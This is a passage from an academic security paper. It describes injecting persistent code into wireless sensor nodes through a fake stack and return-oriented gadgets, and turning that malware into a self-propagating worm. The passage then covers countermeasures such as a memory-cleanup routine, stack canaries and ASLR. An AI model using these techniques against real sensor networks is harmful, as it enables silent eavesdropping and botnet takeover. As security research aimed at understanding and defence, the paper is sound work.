uint8 t r10;
uint8 t r9;
uint8 t r8;
uint8 t r7;
uint8 t r6;
uint8 t r5;
uint8 t r4;
uint8 t r3;
uint8 t r2;
// set to the address of the malware or 0 to reboot
uint16 t retAddr;
} fake stack t;

Figure 7: Structure used to build the fake stack.

The total size is 305 bytes out of which up to

256 bytes are used for the malware, 16 for the

meta-gadget parameters. The remaining bytes are

padding, that do not need to be injected.

the malware when needed.
This approach has at least two advantages:

• The application will run normally, thereby reducing
chance of detection.

• The malware can use some of the existing functions of
the application. This reduces the size of the code to
inject.

If the malware needs to be executed periodically or upon
the execution of an internal event it can modify the sen-
sor application in order to insert a hook. This hook can
be installed in a function called by a timer. The malware
will be executed each time the timer fires. This operation
needs to modify the local code (in order to add the hook in
the function). The same fake stack technique presented in
Section 6.3 is used to locally reprogram the page with the
modified code that contains the hook. The only difference
is that, instead of loading the malicious code into the fake
stack, the attacker loads the page containing the function to
modify, adds the hook in it, and calls the Reprogramming

meta-gadget.
Note that once the malware is installed it should patch the

exploited vulnerability (in the reception function) to prevent
over-infection.

6.6 Turning the malware into a worm
The previous section has explained how to remotely inject

a malware into a sensor node. It was assumed that this
injection was achieved by an attacker. However the injected
malware can self-propagate, i.e. be converted into a worm.

The main idea is that once the malware is installed it per-
forms the attack described in Section 6 to all of its neighbors.
It builds a fake stack that contains its own code and injects
it byte-by-byte into its neighbors as explained previously.
The main difference is that the injected code must not only
contain the malware but also the self-propagating code, i.e.
the code that builds the fake stack and sends the specially-
crafted packets. The injected code is likely to be larger. The
main limitation of the injection technique presented in Sec-
tion 6 is that it can only be used to inject one page (i.e.
256 bytes) of code. If the malware is larger than one page
it needs to be split it into pieces of 256 bytes which should
be injected separately. We were able to implement, in our
experiments, a self-propagating worm that contains all this
functionality in about 1 KByte.

Furthermore, because of the packet size limitation and
the overhead introduced by the byte-injection gadget, only
one byte of the fake stack can be injected per packet. This
results in the transmission of many malicious packets. One
alternative would be to inject an optimal gadget and then
use it to inject the fake stack several bytes at a time. Since
this gadget would be optimized it would have less overhead
and more bytes would be available to inject useful data. This
technique could reduce the number of required packets by a
factor of 10 to 20.

7. POSSIBLE COUNTER-MEASURES
Our attack combines different techniques in order to achieve

its goal (code injection). It first uses a software vulnerability
in order to perform a buffer overflow that smashes the stack.
It then injects data, via the execution of gadgets, into the
program memory that is persistent across reboots.



// function declaration with proper attributes
void cleanup memory (void)

attribute ((naked))
attribute ((section (”.init8”)))

@spontaneous() @C();

// bss end symbol is provided by the linker
extern volatile void∗ bss end;

void cleanup memory(void){
uint8 t ∗dest = & bss end;
uint16 t count=RAMEND − (uint16 t)& bss end;
while (count−−) ∗dest++ = 0;

}

Figure 8: A memory cleanup procedure for TinyOS.

The attribute keyword indicates that this function

should be called during the system initialisation.

Any solutions that could prevent or complicate any of
these operations could be useful to mitigate our attack. How-
ever, as we will see, all existing solutions have limitations.

Software vulnerability Protection.
Safe TinyOS [5] provides protection against buffer over-

flow. Safe TinyOS adds new keywords to the language that
give the programmer the ability to specify the length of an
array. This information is used by the compiler to enforce
memory boundary checks. This solution is useful in prevent-
ing some errors. However, since the code still needs to be
manually instrumented, human errors are possible and this
solution is therefore not foolproof. Furthermore, software
vulnerabilities other than buffer overflows can be exploited
to gain control of the stack.

Stack-smashing protection.
Stack protections, such as random canaries, are widely

used to secure operating systems [6]. They are usually im-
plemented in the compiler with operating system support.
These solutions prevent return address overwriting. How-
ever, the implementation on a sensor of such techniques
is challenging because of their hardware and software con-
straints. No implementation currently exists for AVR mi-
crocontrollers.

Data injection protection.
A simple solution to protect against our data injection

across reboots is to re-initialize the whole data memory each
time a node reboots. This could be performed by a simple
piece of code as the one shown in the Figure 8. Cleaning
up the memory would prevent storing data across reboots
for future use. This solution comes with a slight overhead.
Furthermore it does not stop attacks which are not relying
on reboots to restore clean state of the sensor as proposed
in [12]. It is likely that our proposed attack can use similar
state restoration mechanisms. In this case such a counter-
measure would have no effect.

Furthermore our attack is quite generic and does not make
any assumptions about the exploited applications. However,
it is plausible that some applications do actually store in
memory data for their own usage (for example an application

might store in memory a buffer of data to be sent to the
sink). If such a feature exists it could be exploited in order
to store the fake stack without having to use the Injection

meta-gadget. In this case, only the Reprogramming meta-
gadget would be needed and the presented defense would be
ineffective.

Gadget execution protection.
ASLR (Address Space Layout Randomization) [26] is a

solution that randomizes the binary code location in mem-
ory in order to protect against return-into-libc attacks. Since
sensor nodes usually contain only one monolithic program in
memory and the memory space is very small, ASLR would
not be effective. [16] proposes to improve ASLR by ran-
domising the binary code itself. This scheme would be adapt-
able to wireless sensors. However, since a sensor’s address
space is very limited it would still be vulnerable to brute
force attacks [24].

8. CONCLUSIONS AND FUTURE WORK
This paper describes how an attacker can take control of a

wireless sensor network. This attack can be used to silently
eavesdrop on the data that is being sent by a sensor, to
modify its configuration, or to turn a network into a botnet.

The main contribution of our work is to prove the feasibil-
ity of permanent code injection into Harvard architecture-
based sensors. Our attack combines several techniques, such
as fake frame injection and return-oriented programming, in
order to overcome all the barriers resulting from sensor’s ar-
chitecture and hardware. We also describe how to transform
our attack into a worm, i.e., how to make the injected code
self-replicating.

Even though packet authentication, and cryptography in
general, can make code injection more difficult, it does not
prevent it completely. If the exploited vulnerability is lo-
cated before the authentication phase, the attack can pro-
ceed simply as described in this paper. Otherwise, the at-
tacker has to corrupt one of the network nodes and use its
keys to propagate the malware to its neighbors. Once the
neighbors are infected they will infect their own neighbors.
After few rounds the whole network will be compromised.

Future work consists of evaluating how the worm prop-
agates on a large scale deployment. We are, for example,
interested in evaluating the potential damage when infec-
tion packets are lost, as this could lead to the injection of
an incomplete image of the malware. Future work will also
explore code injection optimizations and efficient counter-
measures.
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